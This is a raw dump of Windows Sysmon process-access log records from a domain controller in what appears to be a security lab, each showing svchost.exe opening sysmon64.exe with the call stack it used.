09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 